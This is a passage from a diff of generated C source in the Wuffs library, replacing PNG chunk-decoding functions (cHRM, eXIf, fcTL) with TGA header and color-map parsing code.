== 24) { +- t_3 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)); +- } +- } +- v_u = t_3; +- } +- self->private_impl.f_metadata_y |= ((16777215u & v_u) << 8u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- uint64_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_4 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); +- if (num_bits_4 == 24) { +- t_4 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)); +- } +- } +- v_u = t_4; +- } +- self->private_impl.f_metadata_y |= ((16777215u & v_u) << 32u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- uint64_t t_5; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_5 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); +- if (num_bits_5 == 24) { +- t_5 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_5 += 8u; +- *scratch |= ((uint64_t)(num_bits_5)); +- } +- } +- v_u = t_5; +- } +- self->private_impl.f_metadata_y |= ((uint64_t)((16777215u & v_u) << 56u)); +- self->private_impl.f_metadata_z |= ((16777215u & v_u) >> 8u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); +- uint64_t t_6; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_6 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); +- if (num_bits_6 == 24) { +- t_6 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_6 += 8u; +- *scratch |= ((uint64_t)(num_bits_6)); +- } ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; + } +- v_u = t_6; +- } +- self->private_impl.f_metadata_z |= ((16777215u & v_u) << 16u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); +- uint64_t t_7; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_7 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_7 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_7); +- if (num_bits_7 == 24) { +- t_7 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_7 += 8u; +- *scratch |= ((uint64_t)(num_bits_7)); +- } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_tga__error__truncated_input); ++ goto exit; + } +- v_u = t_7; ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- self->private_impl.f_metadata_z |= ((16777215u & v_u) << 40u); + +- goto ok; + ok: +- self->private_impl.p_decode_chrm[0] = 0; ++ self->private_impl.p_decode_image_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_chrm[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func png.decoder.decode_exif +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_exif( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- if (self->private_impl.f_chunk_length < 4u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_metadata_flavor = 3u; +- self->private_impl.f_metadata_fourcc = 1163413830u; +- self->private_impl.f_metadata_x = 0u; +- self->private_impl.f_metadata_y = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- self->private_impl.f_metadata_z = wuffs_base__u64__sat_add(self->private_impl.f_metadata_y, ((uint64_t)(self->private_impl.f_chunk_length))); +- self->private_impl.f_chunk_length = 0u; ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + +- goto ok; +- ok: + goto exit; + exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- + return status; + } + +-// -------- func png.decoder.decode_fctl ++// -------- func tga.decoder.do_decode_image_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__decode_fctl( +- wuffs_png__decoder* self, ++wuffs_tga__decoder__do_decode_image_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_x0 = 0; +- uint32_t v_y0 = 0; +- uint32_t v_x1 = 0; +- uint32_t v_y1 = 0; ++ uint32_t v_c32 = 0; ++ uint32_t v_c5 = 0; ++ uint32_t v_i = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -55899,309 +69341,577 @@ wuffs_png__decoder__decode_fctl( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_fctl[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; + if (coro_susp_point) { +- v_x0 = self->private_data.s_decode_fctl[0].v_x0; +- v_x1 = self->private_data.s_decode_fctl[0].v_x1; +- v_y1 = self->private_data.s_decode_fctl[0].v_y1; ++ v_i = self->private_data.s_do_decode_image_config.v_i; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_chunk_length != 26u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); + goto exit; + } +- self->private_impl.f_chunk_length = 0u; + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_x0 = t_0; ++ uint8_t t_0 = *iop_a_src++; ++ self->private_impl.f_header_id_length = t_0; + } +- if (v_x0 != self->private_impl.f_next_animation_seq_num) { +- status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); +- goto exit; +- } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ self->private_impl.f_header_color_map_type = t_1; ++ } ++ if (self->private_impl.f_header_color_map_type > 1u) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_header); + goto exit; + } +- self->private_impl.f_next_animation_seq_num += 1u; + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); +- } ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_x1 = t_1; ++ uint8_t t_2 = *iop_a_src++; ++ self->private_impl.f_header_image_type = t_2; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); +- if (num_bits_2 == 24) { +- t_2 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)); +- } +- } +- v_y1 = t_2; ++ if ((self->private_impl.f_header_image_type == 1u) || ++ (self->private_impl.f_header_image_type == 2u) || ++ (self->private_impl.f_header_image_type == 3u) || ++ (self->private_impl.f_header_image_type == 9u) || ++ (self->private_impl.f_header_image_type == 10u) || ++ (self->private_impl.f_header_image_type == 11u)) { ++ } else { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_header); ++ goto exit; + } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ uint16_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_3 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ iop_a_src += 2; + } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); +- if (num_bits_3 == 24) { +- t_3 = ((uint32_t)(*scratch >> 32)); ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 8) { ++ t_3 = ((uint16_t)(*scratch)); + break; + } + num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)); ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; + } + } +- v_x0 = t_3; ++ self->private_impl.f_header_color_map_first_entry_index = t_3; + } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- uint32_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_4 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ uint16_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_4 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ iop_a_src += 2; + } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); +- if (num_bits_4 == 24) { +- t_4 = ((uint32_t)(*scratch >> 32)); ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; ++ if (num_bits_4 == 8) { ++ t_4 = ((uint16_t)(*scratch)); + break; + } + num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)); ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; + } + } +- v_y0 = t_4; ++ self->private_impl.f_header_color_map_length = t_4; + } +- v_x1 += v_x0; +- v_y1 += v_y0; +- if ((v_x0 >= v_x1) || +- (v_x0 > self->private_impl.f_width) || +- (v_x1 > self->private_impl.f_width) || +- (v_y0 >= v_y1) || +- (v_y0 > self->private_impl.f_height) || +- (v_y1 > self->private_impl.f_height)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ self->private_impl.f_header_color_map_entry_size = t_5; + } +- self->private_impl.f_frame_rect_x0 = v_x0; +- self->private_impl.f_frame_rect_y0 = v_y0; +- self->private_impl.f_frame_rect_x1 = v_x1; +- self->private_impl.f_frame_rect_y1 = v_y1; ++ if (self->private_impl.f_header_color_map_type != 0u) { ++ if ((self->private_impl.f_header_color_map_first_entry_index != 0u) || (self->private_impl.f_header_color_map_length > 256u)) { ++ status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); ++ goto exit; ++ } else if ((self->private_impl.f_header_color_map_entry_size != 15u) && ++ (self->private_impl.f_header_color_map_entry_size != 16u) && ++ (self->private_impl.f_header_color_map_entry_size != 24u) && ++ (self->private_impl.f_header_color_map_entry_size != 32u)) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_header); ++ goto exit; ++ } ++ } else { ++ if ((self->private_impl.f_header_color_map_first_entry_index != 0u) || (self->private_impl.f_header_color_map_length != 0u) || (self->private_impl.f_header_color_map_entry_size != 0u)) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_header); ++ goto exit; ++ } ++ } ++ self->private_data.s_do_decode_image_config.scratch = 4u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- uint32_t t_5; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ uint32_t t_6; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_5 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ t_6 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); + iop_a_src += 2; + } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_6 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); +- if (num_bits_5 == 8) { +- t_5 = ((uint32_t)(*scratch >> 48)); ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_6; ++ if (num_bits_6 == 8) { ++ t_6 = ((uint32_t)(*scratch)); + break; + } +- num_bits_5 += 8u; +- *scratch |= ((uint64_t)(num_bits_5)); ++ num_bits_6 += 8u; ++ *scratch |= ((uint64_t)(num_bits_6)) << 56; + } + } +- v_x0 = t_5; ++ self->private_impl.f_width = t_6; + } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); +- uint32_t t_6; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ uint32_t t_7; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_6 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ t_7 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); + iop_a_src += 2; + } else { +- self->private_data.s_decode_fctl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; +- uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); +- if (num_bits_6 == 8) { +- t_6 = ((uint32_t)(*scratch >> 48)); ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; ++ if (num_bits_7 == 8) { ++ t_7 = ((uint32_t)(*scratch)); + break; + } +- num_bits_6 += 8u; +- *scratch |= ((uint64_t)(num_bits_6)); ++ num_bits_7 += 8u; ++ *scratch |= ((uint64_t)(num_bits_7)) << 56; + } + } +- v_x1 = t_6; +- } +- if (v_x1 <= 0u) { +- self->private_impl.f_frame_duration = (((uint64_t)(v_x0)) * 7056000u); +- } else { +- self->private_impl.f_frame_duration = ((((uint64_t)(v_x0)) * 705600000u) / ((uint64_t)(v_x1))); ++ self->private_impl.f_height = t_7; + } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint32_t t_7 = *iop_a_src++; +- v_x0 = t_7; ++ uint8_t t_8 = *iop_a_src++; ++ self->private_impl.f_header_pixel_depth = t_8; + } +- if (v_x0 == 0u) { +- self->private_impl.f_frame_disposal = 0u; +- } else if (v_x0 == 1u) { +- self->private_impl.f_frame_disposal = 1u; +- } else if (v_x0 == 2u) { +- self->private_impl.f_frame_disposal = 2u; +- } else { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ if ((self->private_impl.f_header_pixel_depth != 1u) && ++ (self->private_impl.f_header_pixel_depth != 8u) && ++ (self->private_impl.f_header_pixel_depth != 15u) && ++ (self->private_impl.f_header_pixel_depth != 16u) && ++ (self->private_impl.f_header_pixel_depth != 24u) && ++ (self->private_impl.f_header_pixel_depth != 32u)) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_header); + goto exit; + } ++ if (((uint8_t)(self->private_impl.f_header_image_type | 8u)) == 9u) { ++ self->private_impl.f_scratch_bytes_per_pixel = 1u; ++ self->private_impl.f_src_bytes_per_pixel = 1u; ++ self->private_impl.f_src_pixfmt = 2164523016u; ++ self->private_impl.f_opaque = ((self->private_impl.f_header_color_map_entry_size == 15u) || (self->private_impl.f_header_color_map_entry_size == 24u)); ++ } else if (((uint8_t)(self->private_impl.f_header_image_type | 8u)) == 10u) { ++ if ((self->private_impl.f_header_pixel_depth == 15u) || (self->private_impl.f_header_pixel_depth == 16u)) { ++ self->private_impl.f_scratch_bytes_per_pixel = 4u; ++ self->private_impl.f_src_bytes_per_pixel = 0u; ++ self->private_impl.f_src_pixfmt = 2164295816u; ++ } else if (self->private_impl.f_header_pixel_depth == 24u) { ++ self->private_impl.f_scratch_bytes_per_pixel = 3u; ++ self->private_impl.f_src_bytes_per_pixel = 3u; ++ self->private_impl.f_src_pixfmt = 2147485832u; ++ self->private_impl.f_opaque = true; ++ } else if (self->private_impl.f_header_pixel_depth == 32u) { ++ self->private_impl.f_scratch_bytes_per_pixel = 4u; ++ self->private_impl.f_src_bytes_per_pixel = 4u; ++ self->private_impl.f_src_pixfmt = 2164295816u; ++ } else { ++ status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); ++ goto exit; ++ } ++ } else { ++ if (self->private_impl.f_header_pixel_depth == 8u) { ++ self->private_impl.f_scratch_bytes_per_pixel = 1u; ++ self->private_impl.f_src_bytes_per_pixel = 1u; ++ self->private_impl.f_src_pixfmt = 536870920u; ++ self->private_impl.f_opaque = true; ++ } else { ++ status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); ++ goto exit; ++ } ++ } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint32_t t_8 = *iop_a_src++; +- v_x0 = t_8; +- } +- if (v_x0 == 0u) { +- self->private_impl.f_frame_overwrite_instead_of_blend = true; +- } else if (v_x0 == 1u) { +- self->private_impl.f_frame_overwrite_instead_of_blend = false; ++ uint8_t t_9 = *iop_a_src++; ++ self->private_impl.f_header_image_descriptor = t_9; ++ } ++ if (((uint8_t)(self->private_impl.f_header_image_descriptor & 16u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); ++ goto exit; ++ } ++ self->private_data.s_do_decode_image_config.scratch = ((uint32_t)(self->private_impl.f_header_id_length)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; ++ if (self->private_impl.f_header_color_map_type != 0u) { ++ while (v_i < ((uint32_t)(self->private_impl.f_header_color_map_length))) { ++ if (self->private_impl.f_header_color_map_entry_size == 24u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); ++ uint32_t t_10; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { ++ t_10 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); ++ iop_a_src += 3; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_10 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_10; ++ if (num_bits_10 == 16) { ++ t_10 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_10 += 8u; ++ *scratch |= ((uint64_t)(num_bits_10)) << 56; ++ } ++ } ++ v_c32 = t_10; ++ } ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)((v_c32 >> 0u))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)((v_c32 >> 8u))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)((v_c32 >> 16u))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = 255u; 